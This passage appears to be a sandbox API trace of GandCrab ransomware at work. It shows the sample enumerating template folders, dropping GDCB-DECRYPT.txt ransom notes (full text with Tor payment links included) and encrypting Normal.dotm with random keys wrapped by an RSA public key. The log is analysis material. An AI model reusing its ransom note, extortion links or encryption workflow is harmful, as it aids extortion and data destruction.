lpNumberOfBytesWritten=0x285e354*=0xad6, lpOverlapped=0x0) returned 1 [0054.557] CloseHandle (hObject=0x508) returned 1 [0054.558] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.558] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\") returned 96 [0054.558] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\*" [0054.558] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\*", lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 0x5b8cb0 [0054.558] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.558] FindNextFileW (in: hFindFile=0x5b8cb0, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0054.558] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.558] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.558] FindNextFileW (in: hFindFile=0x5b8cb0, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0054.558] lstrcmpW (lpString1="1033", lpString2=".") returned 1 [0054.558] lstrcmpW (lpString1="1033", lpString2="..") returned 1 [0054.558] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\", lpString2="1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033" [0054.558] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\" [0054.558] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.558] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.558] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.558] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.558] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.558] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.558] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\") returned 101 [0054.558] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\*" [0054.558] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\*", lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 0x5b85f0 [0054.559] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.559] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0054.559] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.559] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.559] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 0 [0054.559] FindClose (in: hFindFile=0x5b85f0 | out: hFindFile=0x5b85f0) returned 1 [0054.559] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.559] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\\\GDCB-DECRYPT.txt") returned 118 [0054.559] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\user\\smartart graphics\\1033\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0054.560] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.560] WriteFile (in: hFile=0x50c, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e0cc, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e0cc*=0xad6, lpOverlapped=0x0) returned 1 [0054.560] CloseHandle (hObject=0x50c) returned 1 [0054.560] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.560] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\") returned 101 [0054.560] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\*" [0054.560] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\*", lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 0x5b8d30 [0054.560] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.560] FindNextFileW (in: hFindFile=0x5b8d30, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0054.561] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.561] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.561] FindNextFileW (in: hFindFile=0x5b8d30, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0054.561] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.561] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.561] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\GDCB-DECRYPT.txt" [0054.561] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.561] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\GDCB-DECRYPT.txt") returned 117 [0054.561] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\GDCB-DECRYPT.txt") returned 117 [0054.561] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\GDCB-DECRYPT.txt") returned 117 [0054.561] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\GDCB-DECRYPT.txt") returned 117 [0054.561] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.561] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.561] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.561] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.561] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.561] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.561] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.561] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.561] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.561] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.561] FindNextFileW (in: hFindFile=0x5b8d30, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 0 [0054.561] FindClose (in: hFindFile=0x5b8d30 | out: hFindFile=0x5b8d30) returned 1 [0054.561] FindNextFileW (in: hFindFile=0x5b8cb0, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0054.561] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.561] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.561] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\GDCB-DECRYPT.txt" [0054.561] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.561] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\GDCB-DECRYPT.txt") returned 112 [0054.562] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\GDCB-DECRYPT.txt") returned 112 [0054.562] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\GDCB-DECRYPT.txt") returned 112 [0054.562] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\GDCB-DECRYPT.txt") returned 112 [0054.562] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.562] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.562] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.562] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.562] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.562] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.562] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.562] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.562] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.562] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.562] FindNextFileW (in: hFindFile=0x5b8cb0, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 0 [0054.562] FindClose (in: hFindFile=0x5b8cb0 | out: hFindFile=0x5b8cb0) returned 1 [0054.562] FindNextFileW (in: hFindFile=0x5b85b0, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0 [0054.562] FindClose (in: hFindFile=0x5b85b0 | out: hFindFile=0x5b85b0) returned 1 [0054.562] FindNextFileW (in: hFindFile=0x5b89b0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0 [0054.562] FindClose (in: hFindFile=0x5b89b0 | out: hFindFile=0x5b89b0) returned 1 [0054.562] FindNextFileW (in: hFindFile=0x5b8c70, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.562] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.562] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.562] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\GDCB-DECRYPT.txt" [0054.562] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.562] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\GDCB-DECRYPT.txt") returned 86 [0054.562] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\GDCB-DECRYPT.txt") returned 86 [0054.562] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\GDCB-DECRYPT.txt") returned 86 [0054.562] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\GDCB-DECRYPT.txt") returned 86 [0054.562] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.562] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.562] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.562] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.562] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.562] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.563] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.563] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.563] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.563] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.563] FindNextFileW (in: hFindFile=0x5b8c70, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0 [0054.563] FindClose (in: hFindFile=0x5b8c70 | out: hFindFile=0x5b8c70) returned 1 [0054.563] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.563] lstrcmpW (lpString1="Normal.dotm", lpString2=".") returned 1 [0054.563] lstrcmpW (lpString1="Normal.dotm", lpString2="..") returned 1 [0054.563] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="Normal.dotm" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm" [0054.563] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.563] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm") returned 69 [0054.563] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm") returned 69 [0054.563] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm") returned 69 [0054.563] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm") returned 69 [0054.563] lstrcmpiW (lpString1="Normal.dotm", lpString2="desktop.ini") returned 1 [0054.563] lstrcmpiW (lpString1="Normal.dotm", lpString2="autorun.inf") returned 1 [0054.563] lstrcmpiW (lpString1="Normal.dotm", lpString2="ntuser.dat") returned -1 [0054.563] lstrcmpiW (lpString1="Normal.dotm", lpString2="iconcache.db") returned 1 [0054.563] lstrcmpiW (lpString1="Normal.dotm", lpString2="bootsect.bak") returned 1 [0054.563] lstrcmpiW (lpString1="Normal.dotm", lpString2="boot.ini") returned 1 [0054.563] lstrcmpiW (lpString1="Normal.dotm", lpString2="ntuser.dat.log") returned -1 [0054.563] lstrcmpiW (lpString1="Normal.dotm", lpString2="thumbs.db") returned -1 [0054.563] lstrcmpiW (lpString1="Normal.dotm", lpString2="GDCB-DECRYPT.txt") returned 1 [0054.563] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\normal.dotm")) returned 0x20 [0054.564] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", dwFileAttributes=0x20) returned 1 [0054.564] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0054.564] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm" [0054.564] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm.GDCB" [0054.564] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x58fc60) returned 1 [0054.564] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0054.565] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0054.565] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0054.565] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x10, pbBuffer=0x285ecdc | out: pbBuffer=0x285ecdc) returned 1 [0054.565] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0054.565] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.565] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x58fc60) returned 1 [0054.565] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0054.566] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0054.566] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0054.566] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x20, pbBuffer=0x285eca8 | out: pbBuffer=0x285eca8) returned 1 [0054.566] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0054.566] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.566] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0054.566] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0054.566] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x58fc60) returned 1 [0054.568] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x5b89b0) returned 1 [0054.568] CryptGetKeyParam (in: hKey=0x5b89b0, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0054.568] CryptEncrypt (in: hKey=0x5b89b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ecf4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ecf4*=0x100) returned 1 [0054.568] GetLastError () returned 0x0 [0054.568] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0054.568] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x58fc60) returned 1 [0054.570] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x5b87b0) returned 1 [0054.570] CryptGetKeyParam (in: hKey=0x5b87b0, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0054.570] CryptEncrypt (in: hKey=0x5b87b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ecf8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ecf8*=0x100) returned 1 [0054.570] GetLastError () returned 0x0 [0054.570] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0054.570] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\normal.dotm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0054.570] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0054.571] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0054.571] ReadFile (in: hFile=0x4fc, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ed38, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285ed38*=0x4a63, lpOverlapped=0x0) returned 1 [0054.575] VirtualAlloc (lpAddress=0x0, dwSize=0x4a70, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0054.576] VirtualAlloc (lpAddress=0x0, dwSize=0x4a70, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0054.576] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.576] SetFilePointer (in: hFile=0x4fc, lDistanceToMove=-19043, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0054.576] WriteFile (in: hFile=0x4fc, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0x4a70, lpNumberOfBytesWritten=0x285ed30, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285ed30*=0x4a70, lpOverlapped=0x0) returned 1 [0054.576] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.577] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.579] WriteFile (in: hFile=0x4fc, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285ed30, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285ed30*=0x100, lpOverlapped=0x0) returned 1 [0054.579] WriteFile (in: hFile=0x4fc, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285ed30, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285ed30*=0x100, lpOverlapped=0x0) returned 1 [0054.579] WriteFile (in: hFile=0x4fc, lpBuffer=0x2890000*, 